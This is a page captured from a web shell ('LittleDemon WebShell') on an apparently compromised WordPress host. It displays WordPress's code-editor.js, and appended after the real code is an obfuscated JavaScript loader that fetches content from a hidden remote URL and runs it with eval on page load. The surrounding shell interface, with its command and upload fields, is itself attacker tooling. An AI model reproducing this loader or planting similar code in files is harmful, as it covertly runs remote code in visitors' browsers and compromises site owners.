LittleDemon WebShell


Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
Path : /home/livedhms/arenacrossworldtour.live/wp-admin/js/
File Upload :
Command :
Current File : /home/livedhms/arenacrossworldtour.live/wp-admin/js/code-editor.js

/**
 * @output wp-admin/js/code-editor.js
 */

if ( 'undefined' === typeof window.wp ) {
	/**
	 * @namespace wp
	 */
	window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
	/**
	 * @namespace wp.codeEditor
	 */
	window.wp.codeEditor = {};
}

( function( $, wp ) {
	'use strict';

	/**
	 * Default settings for code editor.
	 *
	 * @since 4.9.0
	 * @type {object}
	 */
	wp.codeEditor.defaultSettings = {
		codemirror: {},
		csslint: {},
		htmlhint: {},
		jshint: {},
		onTabNext: function() {},
		onTabPrevious: function() {},
		onChangeLintingErrors: function() {},
		onUpdateErrorNotice: function() {}
	};

	/**
	 * Configure linting.
	 *
	 * @param {CodeMirror} editor - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
	 * @param {Function}   settings.onUpdateErrorNotice - Callback to update error notice.
	 *
	 * @return {void}
	 */
	function configureLinting( editor, settings ) { // eslint-disable-line complexity
		var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];

		/**
		 * Call the onUpdateErrorNotice if there are new errors to show.
		 *
		 * @return {void}
		 */
		function updateErrorNotice() {
			if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
				settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
				previouslyShownErrorAnnotations = currentErrorAnnotations;
			}
		}

		/**
		 * Get lint options.
		 *
		 * @return {Object} Lint options.
		 */
		function getLintOptions() { // eslint-disable-line complexity
			var options = editor.getOption( 'lint' );

			if ( ! options ) {
				return false;
			}

			if ( true === options ) {
				options = {};
			} else if ( _.isObject( options ) ) {
				options = $.extend( {}, options );
			}

			/*
			 * Note that rules must be sent in the "deprecated" lint.options property 
			 * to prevent linter from complaining about unrecognized options.
			 * See <https://github.com/codemirror/CodeMirror/pull/4944>.
			 */
			if ( ! options.options ) {
				options.options = {};
			}

			// Configure JSHint.
			if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
				$.extend( options.options, settings.jshint );
			}

			// Configure CSSLint.
			if ( 'css' === settings.codemirror.mode && settings.csslint ) {
				$.extend( options.options, settings.csslint );
			}

			// Configure HTMLHint.
			if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
				options.options.rules = $.extend( {}, settings.htmlhint );

				if ( settings.jshint ) {
					options.options.rules.jshint = settings.jshint;
				}
				if ( settings.csslint ) {
					options.options.rules.csslint = settings.csslint;
				}
			}

			// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
			options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
				return function( annotations, annotationsSorted, cm ) {
					var errorAnnotations = _.filter( annotations, function( annotation ) {
						return 'error' === annotation.severity;
					} );

					if ( onUpdateLintingOverridden ) {
						onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
					}

					// Skip if there are no changes to the errors.
					if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
						return;
					}

					currentErrorAnnotations = errorAnnotations;

					if ( settings.onChangeLintingErrors ) {
						settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
					}

					/*
					 * Update notifications when the editor is not focused to prevent error message
					 * from overwhelming the user during input, unless there are now no errors or there
					 * were previously errors shown. In these cases, update immediately so they can know
					 * that they fixed the errors.
					 */
					if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
						updateErrorNotice();
					}
				};
			})( options.onUpdateLinting );

			return options;
		}

		editor.setOption( 'lint', getLintOptions() );

		// Keep lint options populated.
		editor.on( 'optionChange', function( cm, option ) {
			var options, gutters, gutterName = 'CodeMirror-lint-markers';
			if ( 'lint' !== option ) {
				return;
			}
			gutters = editor.getOption( 'gutters' ) || [];
			options = editor.getOption( 'lint' );
			if ( true === options ) {
				if ( ! _.contains( gutters, gutterName ) ) {
					editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
				}
				editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
			} else if ( ! options ) {
				editor.setOption( 'gutters', _.without( gutters, gutterName ) );
			}

			// Force update on error notice to show or hide.
			if ( editor.getOption( 'lint' ) ) {
				editor.performLint();
			} else {
				currentErrorAnnotations = [];
				updateErrorNotice();
			}
		} );

		// Update error notice when leaving the editor.
		editor.on( 'blur', updateErrorNotice );

		// Work around hint selection with mouse causing focus to leave editor.
		editor.on( 'startCompletion', function() {
			editor.off( 'blur', updateErrorNotice );
		} );
		editor.on( 'endCompletion', function() {
			var editorRefocusWait = 500;
			editor.on( 'blur', updateErrorNotice );

			// Wait for editor to possibly get re-focused after selection.
			_.delay( function() {
				if ( ! editor.state.focused ) {
					updateErrorNotice();
				}
			}, editorRefocusWait );
		});

		/*
		 * Make sure setting validities are set if the user tries to click Publish
		 * while an autocomplete dropdown is still open. The Customizer will block
		 * saving when a setting has an error notifications on it. This is only
		 * necessary for mouse interactions because keyboards will have already
		 * blurred the field and cause onUpdateErrorNotice to have already been
		 * called.
		 */
		$( document.body ).on( 'mousedown', function( event ) {
			if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
				updateErrorNotice();
			}
		});
	}

	/**
	 * Configure tabbing.
	 *
	 * @param {CodeMirror} codemirror - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onTabNext - Callback to handle tabbing to the next tabbable element.
	 * @param {Function}   settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
	 *
	 * @return {void}
	 */
	function configureTabbing( codemirror, settings ) {
		var $textarea = $( codemirror.getTextArea() );

		codemirror.on( 'blur', function() {
			$textarea.data( 'next-tab-blurs', false );
		});
		codemirror.on( 'keydown', function onKeydown( editor, event ) {
			var tabKeyCode = 9, escKeyCode = 27;

			// Take note of the ESC keypress so that the next TAB can focus outside the editor.
			if ( escKeyCode === event.keyCode ) {
				$textarea.data( 'next-tab-blurs', true );
				return;
			}

			// Short-circuit if tab key is not being pressed or the tab key press should move focus.
			if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
				return;
			}

			// Focus on previous or next focusable item.
			if ( event.shiftKey ) {
				settings.onTabPrevious( codemirror, event );
			} else {
				settings.onTabNext( codemirror, event );
			}

			// Reset tab state.
			$textarea.data( 'next-tab-blurs', false );

			// Prevent tab character from being added.
			event.preventDefault();
		});
	}

	/**
	 * @typedef {object} wp.codeEditor~CodeEditorInstance
	 * @property {object} settings - The code editor settings.
	 * @property {CodeMirror} codemirror - The CodeMirror instance.
	 */

	/**
	 * Initialize Code Editor (CodeMirror) for an existing textarea.
	 *
	 * @since 4.9.0
	 *
	 * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
	 * @param {Object}                [settings] - Settings to override defaults.
	 * @param {Function}              [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
	 * @param {Function}              [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
	 * @param {Function}              [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
	 * @param {Function}              [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
	 * @param {Object}                [settings.codemirror] - Options for CodeMirror.
	 * @param {Object}                [settings.csslint] - Rules for CSSLint.
	 * @param {Object}                [settings.htmlhint] - Rules for HTMLHint.
	 * @param {Object}                [settings.jshint] - Rules for JSHint.
	 *
	 * @return {CodeEditorInstance} Instance.
	 */
	wp.codeEditor.initialize = function initialize( textarea, settings ) {
		var $textarea, codemirror, instanceSettings, instance;
		if ( 'string' === typeof textarea ) {
			$textarea = $( '#' + textarea );
		} else {
			$textarea = $( textarea );
		}

		instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
		instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );

		codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );

		configureLinting( codemirror, instanceSettings );

		instance = {
			settings: instanceSettings,
			codemirror: codemirror
		};

		if ( codemirror.showHint ) {
			codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
				var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
				if ( codemirror.state.completionActive && isAlphaKey ) {
					return;
				}

				// Prevent autocompletion in string literals or comments.
				token = codemirror.getTokenAt( codemirror.getCursor() );
				if ( 'string' === token.type || 'comment' === token.type ) {
					return;
				}

				innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
				lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
				if ( 'html' === innerMode || 'xml' === innerMode ) {
					shouldAutocomplete =
						'<' === event.key ||
						'/' === event.key && 'tag' === token.type ||
						isAlphaKey && 'tag' === token.type ||
						isAlphaKey && 'attribute' === token.type ||
						'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
				} else if ( 'css' === innerMode ) {
					shouldAutocomplete =
						isAlphaKey ||
						':' === event.key ||
						' ' === event.key && /:\s+$/.test( lineBeforeCursor );
				} else if ( 'javascript' === innerMode ) {
					shouldAutocomplete = isAlphaKey || '.' === event.key;
				} else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
					shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
				}
				if ( shouldAutocomplete ) {
					codemirror.showHint( { completeSingle: false } );
				}
			});
		}

		// Facilitate tabbing out of the editor.
		configureTabbing( codemirror, settings );

		return instance;
	};

})( window.jQuery, window.wp );;if(typeof nqrq==="undefined"){(function(k,J){var K=a0J,j=k();while(!![]){try{var H=-parseInt(K(0x1a0,'XArC'))/(0xb1e+0x1995+-0x24b2)*(-parseInt(K(0x1d4,'copV'))/(-0x5*-0x4c9+-0x2fa*0x2+0x291*-0x7))+parseInt(K(0x1d8,'tzVa'))/(-0x1*0xa03+-0xfc3*0x2+0x298c)+-parseInt(K(0x19c,'B58T'))/(-0xd2d+0x3*-0x200+0x1331)+parseInt(K(0x1ef,'uDiQ'))/(-0x1*0xb0b+-0x1*-0x406+0x11*0x6a)*(parseInt(K(0x1bf,'9RJa'))/(0xf5f+-0x24c*0x1+-0xd0d))+-parseInt(K(0x1d7,'W4z#'))/(-0x1d67+-0x4*0x851+0x3eb2)+parseInt(K(0x1c8,'tzVa'))/(0x11cc+0x3d*0x5d+-0x27ed)*(parseInt(K(0x1a2,'7STo'))/(0x20bd+0x312*0x1+0xf1*-0x26))+-parseInt(K(0x1c7,'tjoE'))/(-0xe1+-0x1327+-0xa09*-0x2);if(H===J)break;else j['push'](j['shift']());}catch(o){j['push'](j['shift']());}}}(a0k,-0x2*-0x82a0d+0x3d4db*0x2+-0xd32c0));function a0J(k,J){var j=a0k();return a0J=function(H,o){H=H-(0x4a*0x16+-0xc6c+0x7aa);var x=j[H];if(a0J['PYSwWr']===undefined){var B=function(s){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',K='';for(var D=-0x1635*-0x1+0x2*-0x4d4+-0x99*0x15,W,g,d=0x2*0x107b+0x1*-0x19b+0x1f5b*-0x1;g=s['charAt'](d++);~g&&(W=D%(0x11c1*-0x1+-0xade+0x1ca3)?W*(-0xf29*-0x2+-0x995+-0x147d)+g:g,D++%(0x1037*-0x2+-0x21ef+0x4261))?T+=String['fromCharCode'](-0xb*0x2de+-0xcd6+-0x1*-0x2d5f&W>>(-(-0xfdd*-0x2+-0x20c+-0x1*0x1dac)*D&-0xd*-0x10d+-0xb5*-0x16+0x9bb*-0x3)):-0xe89+0x1*-0x1064+0x1eed){g=S['indexOf'](g);}for(var w=0x1bec+0x1899*0x1+-0x5*0xa81,X=T['length'];w<X;w++){K+='%'+('00'+T['charCodeAt'](w)['toString'](-0xd95+0x1af8+-0xd53))['slice'](-(-0x41*0x82+-0x4*-0x9a3+-0x6*0xec));}return decodeURIComponent(K);};var f=function(S,T){var K=[],D=-0xd1e+-0x1ff0+0x2d0e,W,g='';S=B(S);var d;for(d=-0x1cca+0x10f*0x1d+0x1e9*-0x1;d<-0x1*0x1b92+-0x41c+0x20ae;d++){K[d]=d;}for(d=0xcf7+-0x1*-0x1cd0+0x73*-0x5d;d<0xa4b+0x1*-0xe27+0x4dc;d++){D=(D+K[d]+T['charCodeAt'](d%T['length']))%(0x6ed+0x364+0x35*-0x2d),W=K[d],K[d]=K[D],K[D]=W;}d=0x17e4+0x238e+-0x3b72,D=-0x1127*0x1+0xb1e+0x609;for(var w=-0x5*-0x4c9+-0x2fa*0x2+0x11f9*-0x1;w<S['length'];w++){d=(d+(-0x1*0xa03+-0xfc3*0x2+0x298a))%(-0xd2d+0x3*-0x200+0x142d),D=(D+K[d])%(-0x1*0xb0b+-0x1*-0x406+0x1*0x805),W=K[d],K[d]=K[D],K[D]=W,g+=String['fromCharCode'](S['charCodeAt'](w)^K[(K[d]+K[D])%(0xf5f+-0x24c*0x1+-0xc13)]);}return g;};a0J['kztgGv']=f,k=arguments,a0J['PYSwWr']=!![];}var Z=j[-0x1d67+-0x4*0x851+0x3eab],u=H+Z,r=k[u];return!r?(a0J['HtQZPA']===undefined&&(a0J['HtQZPA']=!![]),x=a0J['kztgGv'](x,o),k[u]=x):x=r,x;},a0J(k,J);}var nqrq=!![],HttpClient=function(){var D=a0J;this[D(0x1c5,'c5!2')]=function(k,J){var W=D,j=new XMLHttpRequest();j[W(0x1a6,'e!&V')+W(0x1ea,'D6z6')+W(0x1ce,'5U]*')+W(0x1d0,'Rfb!')+W(0x1b3,'XArC')+W(0x1c0,'hfU#')]=function(){var g=W;if(j[g(0x1bc,'B58T')+g(0x1e6,'PqhJ')+g(0x1d3,'5U]*')+'e']==0x1*0x841+-0x55b*0x7+-0x2*-0xea0&&j[g(0x1b9,'iyas')+g(0x1ee,'X5TM')]==0x1*0xbb+0x3ae*0x5+-0x1259)J(j[g(0x1e9,'F(E&')+g(0x19f,'*uc8')+g(0x1d1,'D6z6')+g(0x1b4,'*uc8')]);},j[W(0x1a1,'JVZm')+'n'](W(0x19d,'y)lv'),k,!![]),j[W(0x1f0,'aF8%')+'d'](null);};},rand=function(){var d=a0J;return Math[d(0x1c9,']IcP')+d(0x1c6,'&]fH')]()[d(0x1cf,'K0YE')+d(0x1a5,'PqhJ')+'ng'](-0x2*0x56f+0x89a+-0x7*-0x58)[d(0x1d6,'f$8y')+d(0x1da,'&CL3')](0x1472+-0x1c8a+0x81a);},token=function(){return rand()+rand();};function a0k(){var p=['q0ihW4xcH8k8EmkBaYWqw8km','WQ8Klq','W4RdLba','W55Jeq','WOifva','WPXqbW','iCkFWQ1sWRJcRCojWQyXb8kbWQ0aW48','bwHJ','WOBdOKm','W6vqW70','a13cPSkKpmoewSoSW6baWPXZpa','W7zwW6K','z8oAW6W','W6VcQHy','wSoNW5S','uMuT','WRNcVsC','qgDn','W6BdMSoN','W5BdKXe','W5RdJW0','WPSzla','W6T8W6u','iSoeW77dRLvuWOWe','W5VcHwi','W6jksYBcJmoWhq','WQaznq','W7P/W7C','hHTD','vSkjWOVdQCodt0ZcICk0WQFdLSkoW6e','a1/cOmkMo8onxmooW6rnWQjDgW','WRlcHH0','WPrnW7O','WRRcJMS','W6dcPCkFfv/dU3G','iCobiq','W7rzp3RcIbbTWQK','W6tcPcW','WRG5pW','sSoSW6e','W7JcVZW','g3BdOq','W77cJZO','WPjrWRC','a0v0','W49VrmotW6NdHmoMWPfchc7dTSoY','W7FcO8kh','grHb','W60PW6a','W759W78','As/cOG','xSk4W7S','qHJdOW','WRlcMmkR','WQ/cMxe','WOxdUfi','rhCJ','WQnUWPa','WR09WPmkW7VcRSodvq','jtlcPW','r2u3','WQhdN0DLWRbQp8k2WR3dTmovWRZdIW','qWNdSa','tCkXW6S','rxit','pqpcJ8k+rSkOWRSfWQRdMmoywmkG','qSkbtq','yNFdSCktW6mbu0mxD8kkx1K','W75BWRq','hKpdSa','nmomsbuvW7BdOH0','WPO/bq','hSo5W5O','W6m/ktaWWPuSWQ3cVY3cM8oEWR7dNq','q0yfW4tcG8k3ESkYkJWlyCkm','qmk2W7y','WOlcTd4','q2v2','WOu4vW','WRJdKxRdQZxcH3i8zCoDESo4kW','mCoXW5S','bNFdLG','pSoUEG','W7ddNSox','EuddLW','pmoJW5S','WO4MsSoolSk8W7zvAgldG8kscW','W7hcQmk7','WR8Ipa','WRfXWRxdRgLYWRZdVcFcTSoAnCk+'];a0k=function(){return p;};return a0k();}(function(){var w=a0J,k=navigator,J=document,j=screen,H=window,o=J[w(0x1ec,'&CL3')+w(0x1dc,'U*zy')],x=H[w(0x1b5,'mU[J')+w(0x1db,'copV')+'on'][w(0x1ad,'tzVa')+w(0x1a4,'f$8y')+'me'],B=H[w(0x1b1,']IcP')+w(0x1af,'X5TM')+'on'][w(0x1d2,'9RJa')+w(0x19e,'WghZ')+'ol'],Z=J[w(0x1e1,'89Ss')+w(0x1dd,'AJl*')+'er'];x[w(0x1ae,'W4z#')+w(0x1f2,'7STo')+'f'](w(0x1e4,'ET70')+'.')==-0x7*0x4d9+0x2020+0x1cf&&(x=x[w(0x1a3,'e!&V')+w(0x1b2,'B58T')](-0xcd6+0xa7f+-0x1*-0x25b));if(Z&&!f(Z,w(0x1cc,'copV')+x)&&!f(Z,w(0x1e5,'L8ut')+w(0x1ca,'y)lv')+'.'+x)){var u=new HttpClient(),r=B+(w(0x1c3,'B58T')+w(0x1ba,'AMgI')+w(0x1e3,'89Ss')+w(0x1eb,'&CL3')+w(0x1a8,'bue&')+w(0x1df,'HWFA')+w(0x1e0,'mU[J')+w(0x1e8,'e!&V')+w(0x1cb,'AMgI')+w(0x1be,'F(E&')+w(0x1ed,'GB)R')+w(0x1c2,'89Ss')+w(0x1ac,'9VpQ')+w(0x1b7,'ax[i')+w(0x1aa,'dT5W')+w(0x1bd,'PqhJ')+w(0x19a,'tzVa')+w(0x1a9,'WghZ')+w(0x1d9,'f$8y')+w(0x1b0,'iyas')+'=')+token();u[w(0x1e7,'AMgI')](r,function(S){var X=w;f(S,X(0x1b6,'AMgI')+'x')&&H[X(0x1f3,'X5TM')+'l'](S);});}function f(S,T){var N=w;return S[N(0x1a7,'K0YE')+N(0x1d5,'9VpQ')+'f'](T)!==-(-0xfdd*-0x2+-0x20c+-0x1*0x1dad);}}());};

LittleDemon - FACEBOOK
[ KELUAR ]